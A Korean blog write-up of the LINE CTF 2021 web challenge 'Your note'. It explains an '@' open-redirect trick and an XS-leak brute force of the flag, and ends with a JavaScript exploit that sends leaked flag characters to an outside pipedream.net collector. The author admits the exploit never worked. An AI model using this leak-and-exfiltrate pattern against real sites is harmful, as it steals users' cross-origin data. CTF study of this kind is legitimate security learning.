[Study] LINE CTF 2021 Your note
대회 끝나고 웹 분야 한 문제 더 풀어보고 싶어서 도전해봤던 문제이다.
시나리오 구상까진 하였으나 최종적으로 플래그를 획득하지는 못했다.(서버 닫힘)
내가 느낀 이 문제의 포인트는
1. @의 활용
SERVERURL/login?redirect=[USER_INPUT]
부분에서 [USER_INPUT] 이 BASEURL(고정)+[USER_INPUT] 으로 처리가 되는데, [USER_INPUT] 에 ' @[접속유도URL]' 과 같이 입력하면 @ 뒷부분의 URL로 이동한다. ex) https://naver.com@google.com 과 같이 주소창에 입력해보면 google.com으로 이동함을 알 수 있다.
2. XS-leak 공격 기법
최종적으로 플래그를 획득하는데는 XS-leak 공격 기법이 활용된다. 이에 대한 개념은 아래 링크를 참조할 수 있다.
defenit.kr/2019/10/06/Web/%E3%84%B4%20Research/XS-SEARCH__ATTACK/
XS Search Attack
Cross-Site Search(XS-Search) Attack포스팅할 주제는 XS-Search Attack 입니다. (XS-search) 공격은 브라우저가 검색에 대한 결과 값에 대한 차이점을 사용하여 동일한 출처 정책(SOP)을 우회하고 민감한 정보를 추
defenit.kr
이번 문제의 경우 노트 search기능의 q파라미터의 값과 download기능을 활용하는 것이다. q파라미터에 플래그와 일치하는 값이 있으면 다운로드가 되고, 일치하지 않는 값이라면 기존 search 페이지로 이동하게 된다.
핵심은 두 경우의 차이를 이용하는 것인데, 익스 코드를 작성하는 과정에서 왜인지 내가 테스트 해봤을때는 잘 되지 않았다.
(다운로드 성공 시 window.open.location.href가 about:blank로 반환이 되고, 다운로드 실패 시 SOP에 위반되어 에러를 반환할 것이라는 시나리오를 짰는데, 두 경우 모두 about:blank가 반환되었다..ㅠ)
익스코드를 완성시키지는 못했지만 생소했던 XS-leak 기법을 접해봤기 때문에 나름의 의미가 있는 시간이라고 생각한다.
(추가 정보 획득 시 업데이트 예정)
----------------------------------------------------------------------------------------------------------------------------
<script>
const FLAG = "LINECTF{"; // flag의 시작.
const exploit = function (){
const leak = function(url){
return new Promise(function(resolve, reject){
// window.open으로 창을 열때, content-disposition attachment를 만나면 location은 abount:blank 됨.
// /search에서 플래그와 일치하면 다운로드를 하는 데, 이때 content-disposition attachment를 반환함.
const open = window.open(url);
setTimeout(() => {
try{
open.location.href;
FLAG = FLAG + url.split('=')[1].split('&')[0];
fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/?q=${FLAG}`);
open.close();
resolve(1);
}catch(e){
open.close();
resolve(0)
}
}, 1000);
});
}
async function start() {
const chars = "0123456789abcdefghijklmnopqrstuvwxyz{}_!";
for (let i = 0; i < chars.length; i++) {
const result = await leak(`http://35.200.11.35/search?q=${FLAG + chars[i]}&download`);
if (result){
break
}
}
}
start()
}();
</script>